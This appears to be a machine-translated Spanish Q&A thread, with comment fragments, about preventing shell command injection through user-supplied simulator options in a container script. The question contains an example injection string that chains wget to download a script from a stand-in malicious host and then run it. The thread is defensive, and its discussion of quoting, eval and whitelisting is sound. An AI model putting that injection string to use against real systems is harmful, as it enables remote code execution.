Tengo una aplicación de contenedor donde necesito permitir que el usuario especifique opciones personalizadas para pasar a un simulador. Sin embargo, quiero asegurarme de que el usuario no inyecte otros comandos a través de las opciones del usuario. ¿Cuál es la mejor manera de lograr esto?
Por ejemplo.
- El usuario proporciona:
-a -b - La aplicación se ejecuta:
mysim --preset_opt -a -b
Sin embargo, no quiero que esto suceda:
- El usuario proporciona:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh - La aplicación se ejecuta:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Actualmente, estoy pensando que podría simplemente rodear cada opción proporcionada por el usuario con comillas simples 'y eliminar cualquier comilla simple proporcionada por el usuario, para que el comando en el último ejemplo resulte ser inofensivo:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Nota: El mysimcomando se ejecuta como parte de un script de shell en un contenedor docker / lxc. Estoy ejecutando Ubuntu.
eval. Estoy llamando al ejecutable mysimdentro de un script de shell. Estoy viendo que la inyección ocurre si simplemente copio la cadena de opciones que proporciona el usuario y la pego al final del mysimcomando.
-a -b. Así que estoy buscando asegurarme de que no se inyecten comandos adicionales en esa cadena.
[a-zA-Z0-9 _-]parezca una opción bastante defensiva.
evalpara ejecutar la aplicación? Si no es así, la inyección no debería ocurrir:x="&& echo Doomed" ; echo $x